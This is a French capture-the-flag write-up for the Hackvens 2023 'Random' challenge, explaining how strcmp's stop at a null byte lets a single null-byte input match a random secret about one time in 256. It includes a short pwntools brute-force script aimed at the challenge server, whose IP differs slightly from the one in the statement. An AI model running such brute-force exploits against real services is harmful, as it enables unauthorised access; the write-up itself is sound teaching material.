Hacker Challenge

Hackvens 2023 - Write Up PWN - Random

Parviendrez vous à deviner le code secret ? Défi relevé !

Enoncé

Parviendrez vous à deviner le code secret ?

nc 13.237.218.78 1337

Random ?

Reconnaissance

Le binaire « random.elf » qui est fourni est un exécutable linux x86-64.

file random.elf

En termes de protections:

  • Full RELRO: La Global Offset Table (GOT) n’est pas réinscriptible.
  • No canary: Pas de protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • PIE: Les adresses du programme seront aléatoires (à un offset près)

checksec random.elf

Reverse

Fonction main

Le programme va lire 0x1d bytes dans /dev/random.

call à/dev/random

Ensuite, le programme va lire 0x1d bytes depuis stdin.

call à strcmp et getFlag

Enfin, le programme va appeler strcmp pour comparer les deux chaînes de caractères. Si les deux sont égales, la fonction getFlag, qui affiche le flag est appelée.

La vulnérabilité

Comparé à strncmp, qui spécifie une taille précisée en argument, strcmp s’arrête aux null bytes.

Ainsi, avec une chance sur 256, la chaine de caractère aléatoire commencera par un null byte, et notre entrée sera comparé avec la chaine de caractère vide.
Plus qu’à bruteforce!

man strcmp

Solve.py

from pwn import *
data = b''
while data == b'':
r = remote('15.237.218.78', 1337, level='error')
print(r.recvuntil(b'\n\n'))
print(r.recvuntil(b'\n\n'))
r.send(b'\x00')
data = r.recvrepeat(0.1)
print(data)
r.close()

Flag

J’ai oublié de faire un screen du flag ^^

Bdenneu
Bdenneu
|
Ingénieur Sécurité

Yolo

Que savent les hackers sur votre entreprise ?
Faire le test